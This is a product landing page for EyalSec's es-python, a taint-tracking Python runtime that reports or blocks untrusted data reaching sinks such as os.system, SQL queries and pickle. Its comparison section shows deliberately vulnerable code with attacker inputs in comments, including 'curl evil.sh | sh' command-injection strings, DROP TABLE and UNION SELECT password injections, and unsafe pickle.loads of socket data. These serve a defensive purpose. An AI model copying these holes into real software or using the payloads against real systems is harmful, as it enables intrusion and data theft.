Your Python, made secure.

Run your code with es-python. It logs untrusted data reaching a query, a command or a file, and stops it if you choose.

  • Surface vulnerabilities no other tool can detect.
  • Run Python without privilege escalation.
  • Run a server without command injection, SQL injection, deserialization, and more.
  • See exactly what an attacker could have exploited against your own code.
see it catch a vulnerability

Two modes: log it, or stop and log it

Log it. Your app runs exactly like before. EyalSec records each dangerous flow on your dashboard: what an attacker tried, and how.

events · /dashboardREPORTED
High exec ×3 14:22:07
sinkexec(…) · <string>:1 payload"import os; os.system('id')" sourceworld-writable file /srv/shared/hook.py locationapp/tasks.py:87 -> run_hook() machineprod-web-01

Stop and log it. When untrusted data reaches a dangerous action, EyalSec stops your program before anything bad can run, and records it.

terminalRAISED
$ es-python server.py
Serving on http://0.0.0.0:8080
1.2.3.4 · POST /run · 200 OK
Stopped: a vulnerability was triggered
RuntimeError: EyalSec: untrusted data from socket:1.2.3.4:443 reached sink os.system
proof, not a hypothesis

It surfaced the flows behind two severe Django SQL-injection CVEs

EyalSec surfaced two unauthenticated SQL-injection flaws inside Django. We reported both; Django's security team fixed them, with our thanks, and credits Eyal Gabay of EyalSec.

CVE-2024-42005CVSS 7.3 · High (NVD)

SQL injection via crafted JSON keys used as column aliases in QuerySet.values() / values_list(). NVD rates it 7.3 High; CISA rates it 9.8 Critical.

NVD record · nvd.nist.gov ->
CVE-2025-57833CVSS 8.1 · High (NVD)

SQL injection via FilteredRelation column aliases in annotate() / alias() with **kwargs expansion.

NVD record · nvd.nist.gov ->
how it works

Taint in, sink out

01 Sources
Marked at the read

Network sockets, files, stdin, data is marked untrusted the moment it enters.

02 Tracked
Follows the data

The taint follows the value as it's copied and transformed through your program.

03 Sinks
Logged, and optionally stopped

exec, eval, compile, os.system, subprocess, pickle, sqlite3, ctypes, …

Each sink is a class of attack: SQL injection, command injection, code injection, insecure deserialization, path traversal, SSRF. See how it works.

how to use

Two small steps: no rewrite, no lock-in

Your existing python stays put. Run es-python when you want the safety net. See the quick start and pricing.

# step 1 · after your demo, add a machine; the dashboard gives this command
$ curl -sSL -d "secret=YOUR_TOKEN" https://eyalsec.com/install.sh | bash
# step 2 · run your code, checks on
$ es-python app.py
how it compares

Where EyalSec adds to the tools you already run.

Each example is vulnerable code that the named tool cannot find. EyalSec finds it.

Category
What it does
What it cannot find
EyalSec finds
CategorySandboxing / isolation
What it doesLimits what a compromised process can reach
What it cannot findThe command injection itself: the attacker still runs commands
EyalSec findsStops it: a command built from network data does not run
# the sandbox must permit execve for the legit dump... subprocess.run(["/usr/bin/pg_dump", "mydb"]) # legitimate, must be allowed name = sock.recv(4096).decode() # socket -> tainted subprocess.run("tar czf /tmp/" + name + ".tgz /data", shell=True) # SINK

A sandbox does not stop it: the attacker reaches less, but still injects commands. EyalSec stops it: commands built from network data do not run.

CategoryRASP
What it doesHook the app to match request payloads against dangerous calls
What it cannot findInput after the app splits, slices or rejoins it
EyalSec findsFollows the taint through every string transform to the sink
# RASP inspects the request, but not what the app does to it next. msg = sock.recv(4096).decode() # request body -> tainted arg = " ".join(msg.split()[1:]) # split, slice, rejoin -> still tainted # attacker sends: ping x; curl evil.sh | sh os.system("traceroute " + arg) # SINK -> es-python raises

RASP cannot find it: the app split and rejoined the input, so it matches nothing RASP saw. EyalSec finds it: the taint follows every transform.

CategoryWAF / edge
What it doesPattern-match malicious HTTP at the network boundary
What it cannot findInjection that never rides HTTP, a file or queue feed
EyalSec findsTaints every input channel, not just the HTTP edge
# a CSV dropped by an SFTP partner feed never crosses the edge. row = open("/inbox/orders.csv").readline() # file bytes -> tainted; the WAF never saw them # attacker planted a row: '; DROP TABLE users; -- db.execute("SELECT * FROM t WHERE id='" + row + "'") # SINK -> es-python raises

A WAF cannot find it: the row arrives in a file, never over HTTP. EyalSec finds it: files are tainted too, up to the query.

CategorySAST
What it doesStatically scan source for risky patterns
What it cannot findWhich flagged path is really exploitable
EyalSec findsFires only when live taint hits a sink
# the sink is chosen by a runtime key, so static dataflow loses it. ACTIONS = {"copy": shutil.copy, "run": os.system, "stat": os.stat} name, arg = sock.recv(4096).decode().split(":", 1) # socket -> tainted # attacker sends: run:reboot; curl evil | sh ACTIONS[name](arg) # callable resolved at runtime -> SINK -> es-python raises

SAST cannot find it: which function ACTIONS[name] calls is decided at runtime. EyalSec finds it: it sees the actual call to os.system.

CategoryDAST / fuzzing
What it doesProbe a running app from outside / fuzz inputs
What it cannot findSinks on branches it never reaches
EyalSec findsFlags the injection on the request that actually ran, no crash needed
# a successful SQL injection that never crashes. expr = sock.recv(4096).decode() # socket -> tainted # expr = 1=1 UNION SELECT password FROM admins db.execute("SELECT * FROM logs WHERE " + expr) # returns rows, exits 0 -> SINK

A fuzzer cannot find it: the query returns rows and nothing crashes, so it records a pass. EyalSec finds it: no crash needed.

CategorySCA / dependency
What it doesFlag known-CVE dependencies
What it cannot findUnknown vulns; whether the CVE is truly hit
EyalSec findsConfirms attacker data reaches the CVE
# your own code, no third-party advisory describes this. cookie = sock.recv(4096) # cookie arrives over the wire -> tainted pickle.loads(cookie) # SINK -> es-python raises

SCA cannot find it: the flaw is in your own code, so no CVE lists it. EyalSec finds it: tainted bytes reached pickle.loads.

CategoryEDR / runtime threat
What it doesDetect malicious behavior at the OS/host level
What it cannot findThe exploit before it fires
EyalSec findsFlags tainted data before the call
# es-python raises BEFORE any payload executes. blob = sock.recv(65536) # socket -> tainted pickle.loads(blob) # SINK -> raises before the gadget detonates

EDR finds it too late: it sees behavior after the payload runs. EyalSec finds it first: it raises before the gadget runs.

safe to run

It's real Python, with a seatbelt

What each event carries, and how the dashboard protects it, is on the security page.

glossary

Terms you will see in EyalSec

Taint tracking
Taint tracking is a runtime technique that marks data from untrusted sources and follows it through every transformation until it reaches a dangerous operation.
Untrusted data
Untrusted data, also called tainted data or taint, is any data a program received from outside, such as a network request or a file.
Source
A source is a place where untrusted data enters a program, such as a network socket, a file, standard input or an environment variable.
Sink
A sink is a dangerous operation where untrusted data can do harm, such as running a shell command, sending a database query or evaluating code.
Event
An event is EyalSec's record that untrusted data reached a sink, with the operation, the line of code, the value and its origin.
es-python
es-python is the EyalSec Python runtime: you run your programs with es-python instead of python, and it reports untrusted data reaching a sink.
Report mode
Report mode records each flow of untrusted data into a sink as an event on the dashboard and lets the program keep running.
Report and Raise mode
Report and Raise mode records the event and also stops the operation, raising a Python RuntimeError instead of running it.

Every vulnerability class and tool category, one sentence each: the full glossary.

faq

Your questions

What is EyalSec?

EyalSec makes es-python, a secure Python runtime that runs your code unchanged and reports or blocks untrusted data reaching a dangerous operation.

What is EyalSec ->

Do I need to change my code to use EyalSec?

No: you start your application with es-python instead of python, and your code and packages run unchanged. Your regular python stays installed.

Running es-python ->

Which Python versions and frameworks does es-python support?

es-python supports Python 3.9, 3.10, 3.11, 3.12, 3.13 and 3.14 on Linux (x86_64 and aarch64), with any framework, including Django, Flask and FastAPI.

Add a machine ->

What vulnerabilities does EyalSec detect?

EyalSec detects attacker data reaching a dangerous operation: SQL injection, command injection, code injection, deserialization, path traversal and SSRF. Not flaws without a data flow.

Vulnerability classes ->

Does EyalSec cover third-party dependencies?

Yes: EyalSec checks the dangerous operation itself, so a flaw inside Django or any installed library is covered like your own code, CVE or not.

The Django CVEs ->

How much does es-python slow an application down?

It depends on which sources you switch on: with none, es-python runs at regular Python speed. Measure it on your own application.

Speed ->

Does EyalSec produce false positives?

An EyalSec event is a confirmed flow: untrusted data really reached a dangerous operation. You still judge whether it is exploitable; parameterized queries never fire.

Suppressed events ->

Does EyalSec send my source code anywhere?

Not by default: your source code stays on the machine. Events carry the operation, the untrusted value, its origin and the stack trace.

Sent with each event ->

What is the difference between Report and Report and Raise?

Report records each event and lets the program keep running; Report and Raise also stops the operation with a Python RuntimeError.

Report and Raise ->

How is EyalSec different from a WAF, SAST, SCA or RASP?

EyalSec checks the operation your program performs, with the data that reached it. WAF, SAST, SCA and RASP see the request, source or packages.

How is EyalSec priced?

EyalSec is priced by usage: a monthly rate per machine plus a rate per detection. There is no free tier and no trial.

Pricing calculator ->

How do I get started with EyalSec?

Book a live demo: EyalSec runs es-python on your own code with you, then sets up your account and gives you a one-line install command.

Book a live demo ->

See what reached your queries.

Book a live demo see it on your own code
EyalSec Pricing Docs Security Research Vulnerabilities Security glossary About Contact עברית Login Book a live demo